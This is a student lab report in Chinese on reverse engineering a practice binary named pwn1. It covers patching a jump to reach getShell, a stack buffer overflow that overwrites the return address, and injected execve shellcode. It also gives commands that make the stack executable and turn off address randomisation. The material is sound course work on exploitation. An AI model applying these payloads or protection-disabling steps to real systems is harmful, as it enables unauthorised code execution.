• 2019-2020-2 网络对抗技术 20175232 司浩楠 Exp1 PC平台逆向破解


    实践内容

    • 任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 任务三:注入一个自己制作的shellcode并运行这段shellcode

    实践过程

    1.直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握ELF文件格式,掌握动态技术
    • 将pwn1文件拷入20175232文件夹,并使用
      objdump -d pwn1
      

        对pwn1进行反编译

    • 使用vi pwn1进入打开文件,使用esc:%!xxd将显示模式切换为16进制模式
    • 找到e8d7
    • 将d7修改为c3
    • 转换16进制为原格式:%!xxd -r,并用:wq存盘退出vi
    • 修改完成后运行完应该生成$符号。
    • 通过构造输入参数,造成BOF攻击,改变程序执行流

      任务二的目的即是利用函数中的漏洞,构造攻击字符串,强制修改程序执行流。

    • 知识点: 首先应该明白,栈是从高地址向低地址延伸的。每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。
    • 通过构造输入参数,造成BOF攻击,改变程序执行流 1、分析代码,发现foo函数存在Buffer overflow漏洞 2、、进入gdb使用指令gdb pwn1然后r输入1111111122222222333333334444444455555555info r观察寄存器中数值寻找关系: 发现eip寄存器中的值为0x35353535,因为在ASCII中30为0,所以35代表的是5,由此猜测最后八个5中某四个5决定了寄存器中的值,为了准确找出是哪四个数字,于是我们把8个5换成12345678
    • 由于1234 那四个数最终会覆盖到堆栈上的返回地址,并且由之前的截图可以看到getshell的内存地址为0804847d,所以我们要用getshell的地址0x0804847d替换它;所以应将其反着输入放在11111111222222223333333344444444的后面,即11111111222222223333333344444444x7dx84x04x08。(因为十六进制的缘故添加x)

      4、输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input将字符串用perl脚本语言写入input文件; 5、用xxd input以16进制显示input文件,检查写入地址的正误; 6.确认无误后用(cat input;cat) | ./pwn1来将改字符串作为可执行文件的输入。

    • 使用指令apt-get install execstack安装execstack
    • execstack -s pwn1    //设置堆栈可执行
      execstack -q pwn1    //查询文件的堆栈是否可执行
      X 
      more /proc/sys/kernel/randomize_va_space 
      2
      echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
      more /proc/sys/kernel/randomize_va_space 
      0
      

        

    • 采用第二种构造要注入的payload的方法:retaddr+nop+shellcode,使用命令perl -e 'print "A" x 32;print "x043x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode 上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。 

    • 打开两个终端,其中一个终端输入(cat input_shellcode;cat) | ./pwn1攻击buf,令一个终端输入ps -ef | grep pwn1 查看pwn1的进程号:

    • gdb中首先(gdb) disassemble foo设置断点来查看注入buf的内存地址。然后(gdb) break *0x080484ae(此处的断点地址应为返回值ret的地址)并在此时在另一个终端内按下回车。然后continue继续gdb。 

    • 用gdb调试程序;使用(gdb) info r esp指令来查看寄存器的值(gdb) x/16x 0xffffd34c以16进制查看esp寄存器地址开头的内存中的值,看到 1020304了,就是返回地址的位置,shellcode地址是 0xffffd350。 所以修改地址为perl -e 'print "x50xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode接着使用xxd input_shellcode指令来查看转换进制内容,并使用指令(cat input_shellcode;cat) | ./pwn1来查看验证实验结果,至此,完成了构造payload进行bof攻击。

      • 思考题:什么是漏洞?漏洞有什么危害?
      • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。并且这次实验就是利用缓冲区溢出漏洞,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的。
      • 系统漏洞经常被不法者或黑客用于向电脑强制安装恶意程序、传播病毒以及植入木马,统漏洞容易导致电脑重要的数据和信息被窃取,严重者会导致操作系统被破坏,电脑数据全部丢失,并且在局域网环境中,还会造成病毒的传播,导致其他电脑瘫痪,危害极大。
      • 实验收获与感想:
      • 本次实验掌握了NOP, JNE, JE, JMP, CMP汇编指令的机器码的理论知识和一些具体的数值,并且还学习了反汇编指令,同时也学会了有时候乱码的文件是因为进制转化的问题。通过实验自己动手实现缓冲区溢出攻击, 对缓冲区溢出也有了更深的理解
  • 相关阅读:
    linux搭建java环境
    linux搭建mavne
    linux定时备份mysql数据库
    ThreadPoolTaskExecutor和ThreadPoolExecutor有何区别?
    mysql 的YEARWEEK 和DATE_FORMAT(周统计跨年问题)
    MySql表连接
    ETCD V3学习摘要
    写了点Docker笔记
    Github Page集成Gitalk,未找到相关的 Issues 进行评论,且点击登录后跳转回主页
    从Attention到SelfAttention再到MultiHead Attention的一点小笔记
  • 原文地址:https://www.cnblogs.com/20175232-gouli/p/12494119.html
Copyright © 2020-2023  润新知